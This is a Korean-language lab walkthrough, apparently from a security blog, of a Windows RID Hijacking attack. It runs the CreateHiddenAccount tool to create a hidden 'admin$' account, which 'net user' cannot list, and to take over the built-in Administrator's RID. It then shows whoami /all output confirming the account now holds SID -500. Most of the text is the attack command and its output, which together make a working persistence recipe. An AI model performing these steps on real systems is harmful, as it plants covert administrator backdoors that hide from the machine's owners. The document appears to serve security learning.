실습을 위해서 PowerShell을 관리자 권한으로 실행한 뒤, PsExec를 통하여 시스템 권한을 획득합니다.
공격자는 로컬 호스트 System 권한을 이미 탈취한 이후이기 때문에 권한 상승과 관련된 과정은 생략합니다.
Windows에서는 사용자 계정명 끝에 "$" 기호를 추가하면 net user 명령으로는 조회할 수 없습니다.
히든 계정을 조회하기 위해 레지스트리나 wmic useraccount get name 명령을 이용합니다.
RID Hijacking 공격은 히든 계정을 생성한 이후, 관리자 RID를 탈취하여
레지스트리 값을 수정하는 과정이 필요한데, 이를 위해 자동화 오픈소스 도구를 사용합니다.
# CreateHiddenAccount 도구를 사용한 히든 계정 생성 및 관리자 권한 부여
PS C:\Users\yeonu\Downloads> .\CreateHiddenAccount_v0.2.exe -u admin -p password123 -cu Administrator
...
[+] Successfully added admin$ user.
[+] Successfully added admin$ user to administrator group.
[+] admin$ RID: 407
[+] Administrator RID: 1F4
[+] Succeeded to Delete admin$ User using Windows API.
[+] Registry imported successfully.
[+] Registry replaced successfully.
[+] Successfully add hidden user.
생성한 계정이 Administrator 계정의 RID를 하이재킹 하는데 성공했는지 파악하기 위해
runas를 통해 admin$ 계정의 쉘을 획득하여 권한을 확인합니다.
C:\Windows\System32>whoami /all
사용자 정보
----------------
사용자 이름 SID
=========== ===========================================
연우\admin$ S-1-5-21-1865062479-2107738167-63151596-500
...
사용 권한 이름 설명 상태
========================================= ======================================================== ==========
SeIncreaseQuotaPrivilege 프로세스에 대한 메모리 할당량 조정 사용 안 함
SeSecurityPrivilege 감사 및 보안 로그 관리 사용 안 함
SeTakeOwnershipPrivilege 파일 또는 기타 개체의 소유권 가져오기 사용 안 함
SeLoadDriverPrivilege 장치 드라이버 로드 및 언로드 사용 안 함
SeSystemProfilePrivilege 프로필 시스템 성능 사용 안 함
SeSystemtimePrivilege 시스템 시간 변경 사용 안 함
SeProfileSingleProcessPrivilege 프로필 단일 프로세스 사용 안 함
SeIncreaseBasePriorityPrivilege 예약 우선 순위 증가 사용 안 함
SeCreatePagefilePrivilege 페이지 파일 만들기 사용 안 함
SeBackupPrivilege 파일 및 디렉터리 백업 사용 안 함
SeRestorePrivilege 파일 및 디렉터리 복원 사용 안 함
SeShutdownPrivilege 시스템 종료 사용 안 함
SeDebugPrivilege 프로그램 디버깅 사용 안 함
SeSystemEnvironmentPrivilege 펌웨어 환경 값 수정 사용 안 함
SeChangeNotifyPrivilege 트래버스 검사 무시 사용
SeRemoteShutdownPrivilege 원격 시스템에서 강제 종료 사용 안 함
SeUndockPrivilege 도킹 스테이션에서 컴퓨터 제거 사용 안 함
SeManageVolumePrivilege 볼륨 유지 관리 작업 수행 사용 안 함
SeImpersonatePrivilege 인증 후 클라이언트 가장 사용
SeCreateGlobalPrivilege 전역 개체 만들기 사용
SeIncreaseWorkingSetPrivilege 프로세스 작업 집합 향상 사용 안 함
SeTimeZonePrivilege 시간대 변경 사용 안 함
SeCreateSymbolicLinkPrivilege 심볼 링크 만들기 사용 안 함
SeDelegateSessionUserImpersonatePrivilege 동일한 세션의 다른 사용자에 대한 가장 토큰을 가져옵니다. 사용 안 함